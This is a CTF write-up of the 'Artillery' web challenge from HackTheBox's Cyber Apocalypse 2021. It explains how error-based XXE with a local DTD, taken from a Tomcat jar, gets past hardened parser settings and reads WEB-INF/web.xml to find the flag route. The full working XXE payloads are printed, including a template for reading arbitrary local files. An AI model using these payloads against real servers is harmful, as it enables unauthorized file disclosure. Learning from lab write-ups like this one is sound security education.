Cyber Apocalypse 2021 5/5 - Artillery
Artillery was a web challenge of the Cyber Apocalypse 2021 CTF organized by HackTheBox. We were given the source code of the server to help us solve the challenge. This challenge was a nice opportunity to learn more about XXE vulnerabilities.
First steps
When you enter a query in the search bar, like ‘qwerty
’ and press enter, nothing happens.
The website will make a GET
request on /airbase/?query=qwerty
, and nothing more. Which is weird…
So, the next step is to have a look at the airbase.js
JavaScript code:
async function getResults() {
const query = document.getElementById("query").value;
const xml = `<?xml version="1.0" encoding="ISO-8859-1"?><root><query>${query}</query></root>`;
const response = await fetch('/search', {
method: 'POST',
headers: {
'Content-Type' : 'application/xml'
},
body: xml
});
[...]
}
We have a
getResults
function which makes anXML
POST
query on/search
.
Let’s hit the search endpoint with a random query!
Here is the corresponding curl
command. Our query is ‘gun
’:
curl 'http://<IP>:<PORT>/search' -H 'Content-Type: application/xml' -H 'Origin: http://<IP>:<PORT>' --data-raw '<?xml version="1.0" encoding="ISO-8859-1"?><root><query>gun</query></root>'
We have the following response:
[{"name": "Gunstar", "url":"gunstar.jpg", "desc":"Capable of both short and long-range space flight, the Gunstar is a two-person craft. It is approximately 20 meters in length and carries a complement of two operators, a pilot and a gunner."}, { "name" : "", "url" : "", "desc" : "" }]
Now, what ? Let’s have a look at the server code which was given to us!
Server setup
We are given the server code with a Dockerfile
to boot!
Let’s setup the environment on our side:
# Build
docker build . -t web_artillery
# Run it
docker run -p 8080:8080 -name artilley web_artillery:latest
We can go into the container and have a look around using:
docker exec -it artillery bash
Analysis
Where will the flag be?
The file WEB-INF/web.xml
describes the routes served by the server:
- one of them is
/search
, that we already know of; - the other one is
/flag_hash
. Will we get the flag by hitting/flag_hash
? No!
In the entrypoint.sh
file given, we have the following lines of code:
hash=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1 | md5sum | cut -d ' ' -f 1)
sed -i "s/hash/$hash/g" /tomcat/webapps/ROOT/WEB-INF/web.xml
The /flag_hash
route will have its hash
part generated at the server setup, and will become a /flag_aZ09rand0m
route.
We also know, according to the file WEB-INF/classes/Flag.java
, that we will get the flag by making a GET
query to that generated endpoint.
Therefore, if we can get the content of the
WEB-INF/web.xml
file, we will get the generatedflag
route, which will give us the flag through aGET
request.
What vulnerability will we use?
We are sending XML to the server. What is the first thing that comes to mind? XXE
, or XML external entity injection!
However, we are going to have a hard time because of those lines in WEB-INF/classes/Results.java
// Make sekure!
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);
This line:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Will throw a fatal error if you use a DOCTYPE
declaration in your XML.
And this one:
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Will not let you load external DTDs
.
XXE
Focusing on local DTD
files
Having tried some XXE payloads without success, I had another look at the given Dockerfile
:
RUN find / -name "*.dtd" -type f -delete
The above line, which removes all .dtd
files from the system, meant I was going to have a hard look at local DTD
XXE.
By looking at the options using local DTD
files in PayloadsAllTheThings, I tried the first payload:
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
%local_dtd;
]>
<root></root>
And we actually get an answer!
java.io.FileNotFoundException: /abcxyz (No such file or directory)
at java.io.FileInputStream.open0(Native Method)
at java.io.FileInputStream.open(FileInputStream.java:195)
at java.io.FileInputStream.<init>(FileInputStream.java:138)
at java.io.FileInputStream.<init>(FileInputStream.java:93)
If we try with /etc/passwd
, we have a different answer:
org.xml.sax.SAXParseException; systemId: file:///etc/passwd; lineNumber: 1; columnNumber: 1; The markup declarations contained or pointed to by the document type declaration must be well-formed.
Which means that this file exists!
We have a tomcat
server
PayloadsAllTheThings
links to a page with even more XXE payloads with DTD files involved.
Remember, all dtd files in the system were removed in the Dockerfile…
But what about .jar
files containing dtd files?
If we docker exec -it artillery bash
, we can even look for them, they are in /tomcat/lib
.
For example the file /tomcat/lib/jsp-api.jar
exists. We can adapt one XXE payload given here:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % URI '(aa) #IMPLIED>
<!ENTITY % file SYSTEM "file:///YOUR_FILE">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ATTLIST attxx aa "bb"'>
%local_dtd;
]>
<message></message>
To our target system:
<!DOCTYPE message [
<!--
Our jsp-api.jar is located in /tomcat/lib.
I did not find the /javax path in jsp-api.jar
But thankfully, the jspxml.dtd was in the /jakarta path
-->
<!ENTITY % local_dtd SYSTEM "jar:file:/tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd">
<!-- By targeting the WEB-INF/web.xml file, we will have the generated flag route
In the returned Java error returned by the server.
-->
<!ENTITY % URI '(aa) #IMPLIED>
<!ENTITY % file SYSTEM "file:////tomcat/webapps/ROOT/WEB-INF/web.xml">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ATTLIST attxx aa "bb"'>
%local_dtd;
]>
<message></message>
And, it works! We have the following error message response:
java.io.FileNotFoundException: /abcxyz/<web-app version="3.0"
xmlns="http:/java.sun.com/xml/ns/javaee"
xmlns:xsi="http:/www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http:/java.sun.com/xml/ns/javaee http:/java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<servlet>
<servlet-name>Results</servlet-name>
<servlet-class>Results</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Results</servlet-name>
<url-pattern>/search</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>Flag</servlet-name>
<servlet-class>Flag</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Flag</servlet-name>
<url-pattern>/flag_9535b9714ef44eb8928bbe8b70e04198</url-pattern>
</servlet-mapping>
</web-app> (No such file or directory)
...
We get the flag route: /flag_9535b9714ef44eb8928bbe8b70e04198
.
Now, we can redo the same steps on the live server. By making a GET
request to the flag route given in the error response, we get the real flag CHTB{OOB_p1us_err0r_b@s3d_XXE_da_b0ss!}
Closing words
It was a nice XXE challenge which made me learn about XXE with local DTD files :)